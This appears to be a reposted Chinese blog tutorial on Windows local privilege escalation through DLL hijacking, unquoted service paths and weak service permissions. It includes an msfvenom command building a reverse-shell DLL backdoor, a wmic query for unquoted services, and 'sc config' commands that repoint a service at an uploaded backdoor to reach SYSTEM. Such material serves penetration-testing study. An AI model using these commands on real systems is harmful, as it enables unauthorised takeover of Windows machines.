windows本地提权--dll劫持不带引号的服务不安全的服务

2024-04-25 19:20

本文主要是介绍windows本地提权--dll劫持不带引号的服务不安全的服务,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

免责声明:本文仅做技术交流与学习...

目录

一.dll劫持

过程:

火绒剑检测:

ChkDllHijack检测:

检测出来有--->msf生成dll后门

二.不带引号服务 路径

1-找不带引号的服务

2-改名上传

3-监听后-->等待服务重启

4-getuid拿下

三.不安全的服务权限配合MSF

accesschk.exe检测:

JAWS检测:

命令执行:


本地--->system

一.dll劫持

dll劫持-CSDN博客

---自己生成一个dll文件,去覆盖程序原有的.把原有的dll文件替换掉,msf监听后,等待管理员的触发.


原理:Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程 序要查找的位置放置恶意 DLL 来提权。

通常,Windows 应用程序有其预定义好的搜索DLL 的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录(程序自身的目录)

2、C:\Windows\System32

3、C:\Windows\System

4、C:\Windows

5、当前工作目录Current Working Directory,CWD

6、在PATH环境变量的目录(先系统后用户)

过程:

信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功.

火绒剑检测:

目标软件可以找版本相同的,进行调试.(通过测试)

只要靶机有目标软件,那就OK了.

查看进程,找到当前目录的dll目标文件.

ChkDllHijack检测:

https://github.com/anhkgg/anhkgg-tools

检测出来有--->msf生成dll后门

msfvenom -p windows/meterpreter/reverse_tcp Ihost=IP Iport=8888 -f dll -o kiko.dll

---名字改成人家原来的,上传,删除原有的(把之前的替换了)

--当人家再运行软件的时候,就会触发.

--MSF监听,--->上线.

getuid

getsystem


二.不带引号服务 路径

WIN提权 不带引号服务路径配合 MSF-Web_windows 服务未加引号-CSDN博客

Windows提权---DLL注入/不带引号的服务路径/注册表_dll注入提权-CSDN博客

GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

路径的空格引号问题.        没有修改权限


                                        webshell,本地--->system

过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功.

----就是对系统自带的"某些命令的利用",达到我们想做的事情.

1-找不带引号的服务

#查找命令:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """#排除windows的目录,去找其他目录下存在的.

---先让MSF上线--->将ps脚本上传上去.查找--->

--找到不带引号的服务.

2-改名上传

上传一个后门文件,修改成:

3-监听后-->等待服务重启

MSF监听...

等待管理员重启或服务器重启后触发.

4-getuid拿下

--->直接就是system权限了.

(因为运行的服务会调用system权限去运行.)


三.不安全的服务权限配合MSF

第62天-权限提升-烂土豆&dll 劫持&引号路径&服务权_第62天:权限提升-烂土豆&dll劫持&引号路径&服务权限-CSDN博客

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

服务权限问题.        可以修改权限对应的路径.

accesschk.exe检测:

AccessChk - Sysinternals | Microsoft Learn

#安装accesschk.exe后执行命令:
accesschk.exe -uwcqv "administrators" *

--重点关注服务都Access的.


JAWS检测:

https://github.com/411Hall/JAWS        --既能检测不安全问题,也能检测环境问题.

切换到powershell去运行...

到脚本目录下         ./文件         运行...


命令执行:

--上传后门到某目录下,监听,重启服务后成功拿下.

sc config "test" binpath="C:\1.exe"        执行命令更改路径指向.

sc start test                重启服务.

这篇关于windows本地提权--dll劫持不带引号的服务不安全的服务的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/935565

相关文章

Android 悬浮窗开发示例((动态权限请求 | 前台服务和通知 | 悬浮窗创建 )

《Android悬浮窗开发示例((动态权限请求|前台服务和通知|悬浮窗创建)》本文介绍了Android悬浮窗的实现效果,包括动态权限请求、前台服务和通知的使用,悬浮窗权限需要动态申请并引导... 目录一、悬浮窗 动态权限请求1、动态请求权限2、悬浮窗权限说明3、检查动态权限4、申请动态权限5、权限设置完毕后

0基础租个硬件玩deepseek,蓝耘元生代智算云|本地部署DeepSeek R1模型的操作流程

《0基础租个硬件玩deepseek,蓝耘元生代智算云|本地部署DeepSeekR1模型的操作流程》DeepSeekR1模型凭借其强大的自然语言处理能力,在未来具有广阔的应用前景,有望在多个领域发... 目录0基础租个硬件玩deepseek,蓝耘元生代智算云|本地部署DeepSeek R1模型,3步搞定一个应

TP-Link PDDNS服将于务6月30日正式停运:用户需转向第三方DDNS服务

《TP-LinkPDDNS服将于务6月30日正式停运:用户需转向第三方DDNS服务》近期,路由器制造巨头普联(TP-Link)在用户群体中引发了一系列重要变动,上个月,公司发出了一则通知,明确要求所... 路由器厂商普联(TP-Link)上个月发布公告要求所有用户必须完成实名认证后才能继续使用普联提供的 D

Windows设置nginx启动端口的方法

《Windows设置nginx启动端口的方法》在服务器配置与开发过程中,nginx作为一款高效的HTTP和反向代理服务器,被广泛应用,而在Windows系统中,合理设置nginx的启动端口,是确保其正... 目录一、为什么要设置 nginx 启动端口二、设置步骤三、常见问题及解决一、为什么要设置 nginx

一文教你使用Python实现本地分页

《一文教你使用Python实现本地分页》这篇文章主要为大家详细介绍了Python如何实现本地分页的算法,主要针对二级数据结构,文中的示例代码简洁易懂,有需要的小伙伴可以了解下... 在项目开发的过程中,遇到分页的第一页就展示大量的数据,导致前端列表加载展示的速度慢,所以需要在本地加入分页处理,把所有数据先放

本地搭建DeepSeek-R1、WebUI的完整过程及访问

《本地搭建DeepSeek-R1、WebUI的完整过程及访问》:本文主要介绍本地搭建DeepSeek-R1、WebUI的完整过程及访问的相关资料,DeepSeek-R1是一个开源的人工智能平台,主... 目录背景       搭建准备基础概念搭建过程访问对话测试总结背景       最近几年,人工智能技术

如何在本地部署 DeepSeek Janus Pro 文生图大模型

《如何在本地部署DeepSeekJanusPro文生图大模型》DeepSeekJanusPro模型在本地成功部署,支持图片理解和文生图功能,通过Gradio界面进行交互,展示了其强大的多模态处... 目录什么是 Janus Pro1. 安装 conda2. 创建 python 虚拟环境3. 克隆 janus

本地私有化部署DeepSeek模型的详细教程

《本地私有化部署DeepSeek模型的详细教程》DeepSeek模型是一种强大的语言模型,本地私有化部署可以让用户在自己的环境中安全、高效地使用该模型,避免数据传输到外部带来的安全风险,同时也能根据自... 目录一、引言二、环境准备(一)硬件要求(二)软件要求(三)创建虚拟环境三、安装依赖库四、获取 Dee

在 Windows 上安装 DeepSeek 的完整指南(最新推荐)

《在Windows上安装DeepSeek的完整指南(最新推荐)》在Windows上安装DeepSeek的完整指南,包括下载和安装Ollama、下载DeepSeekRXNUMX模型、运行Deep... 目录在www.chinasem.cn Windows 上安装 DeepSeek 的完整指南步骤 1:下载并安装

deepseek本地部署使用步骤详解

《deepseek本地部署使用步骤详解》DeepSeek是一个开源的深度学习模型,支持自然语言处理和推荐系统,本地部署步骤包括克隆仓库、创建虚拟环境、安装依赖、配置模型和数据、启动服务、调试与优化以及... 目录环境要求部署步骤1. 克隆 DeepSeek 仓库2. 创建虚拟环境3. 安装依赖4. 配置模型